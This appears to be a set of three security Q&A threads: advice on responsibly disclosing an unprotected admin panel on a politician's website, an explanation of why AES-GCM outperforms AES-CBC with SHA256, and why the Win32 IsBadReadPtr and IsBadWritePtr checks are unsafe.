Found a security issue but no answer I found a security issue on a politician personal site about two weeks ago. The site is still very active and has a bunch of visitors every day. The breach is very stupid and I'm probably not the first person to find it but a .htaccess is missing in the admin part of the site so that I can just log as an admin by typing www.thesite.com/admin and I can access all personal data from the members, I can post an article, suppress everything etc... As it is a major issue I tried to contact someone on the site but there was no webmaster contact, just the politician personnal address and his secretary's address.
I sent about three messages to them but they didn't answer.

Question: Should I just forget about it as it is their problem, not mine? Or find another way to contact them? Could what I've done be considered as illegal since I've been able to see all personal information about their members?

EDIT : My question have been identified as a possible duplicate of another question but in my case I know pretty much what I should do (I already sent messages), I was just wondering if I should let it go or not.

You should endeavor to disclose the vulnerability in a responsible and ethical fashion.

look for a contact email of the individual who owns the site as well as anyone that does admin on it. Look up whois, this may have contact information for the person who registered the domain or a contact page on the site, I do not recommend using any information that you has exposed by the bug to contact the person, as you may find yourself in legal gray area.

Detail the  vulnerability, how you discovered it and any methods they can use to replicate it (which looks easy  in this case). I would also inform them of any fix as well if you know one.

Additionally you can explain what risks they face by leaving the vulnerability unchecked.

If you have made best endeavor to disclose this ethically and they do not do anything about it, you have two options; Inform them that you will give full disclosure to the public after a fair amount of time, or decide that as it is a personal site that you will not disclose it to the public and go on with your life.

Personally as peoples personal details are exposed and the person who owns the site is a public official I would give them fair warning and then go public.


Performance comparison between AES256 GCM vs AES 256 SHA 256 I understand GCM Crypto uses ESP Encryption only for ESP and Authentication algorithm.
whereas AES 256 SHA256 uses AES for ESP Encrypt and SHA256 for Auth algorithm.
Could someone help clarify the reason of getting a better performance with AES256GCM as compared to ASE256SHA256.

AES256SHA256 uses AES in CBC mode for encryption. CBC mode encrypts a block of data by first xoring the block with the ciphertext of the previous block (or the IV) and then passing this through the block cipher. This means that the encryption of a block is dependent on the ciphertext of the previous block so, encryption of a complete message has to proceed sequentially.

GCM, in contrast, uses counter mode for encryption. It encrypts a counter and xors the encryption of the counter with the plaintext. Since the encryption of each block is independent of other blocks, the encryption of multiple blocks can be parallelized.
The fact that GCM can be parallelized while CBC cannot is probably what is causing the performance difference you are experiencing.


Is using IsBadReadPtr and IsBadWritePtr considered to be insecure? I am auditing (reverse engineering) an x86 C++ application without source code.
Static analysis revealed that the application is using the IsBadReadPtr and IsBadWritePtr Win32 functions in almost ALL cases, to check the function parameters. So, these two functions are called from almost all of the functions found in the application.

I've came across the following posts, saying that IsBadXXXPtr functions should not be used. I was unable to understand the security risk of using the above mentioned functions, can anybody explain it to me?

https://blogs.msdn.microsoft.com/oldnewthing/20060927-07/?p=29563
https://blogs.msdn.microsoft.com/oldnewthing/20060117-14/?p=32633

TL;DR

The reason why they're bad is listed in the links you've provided.  Due to how the Windows OS is designed, the way the functions were coded, and the fact that determining if memory is valid is hard makes these functions inherently unstable to use.

There is no good way to determine if a pointer is using a valid part of memory.  Freed memory doesn't necessarily get zeroed out or reset.  If there is a bad pointer floating around it could point to data that in a valid portion of memory.  Just because you can dereference the pointer doesn't mean that the data itself is valid.

Those two functions use page guard exceptions to determine if the memory is valid.  The design of these exceptions is not supposed to be used as a "valid memory address" check.  As described by the first link:

  The IsBadXxxPtr function will catch the exception and return “not a
  valid pointer”. But guard page exceptions are raised only once. You
  just blew your one chance. When the code that is managing the guard
  page accesses the memory for what it thinks is the first time (but is
  really the second), it won’t get the guard page exception but will
  instead get a normal access violation

Basically even by using these functions you can cause access violations because of the overall design of the Windows OS, and how these functions were coded.  Even if you're not using page guards there's no guarantee that other shared libraries that you're loading aren't using page guards.

Trying to catch exceptions from the OS that are trying to tell you that things have gone terribly wrong is a bad idea.  There is a programming error somewhere and the best option is to crash.  Trying to return to a good state when things go that wrong can cause undetermined behavior.

The bottom line is you can't fix what went wrong with memory.  Continuing execution will only burn you later.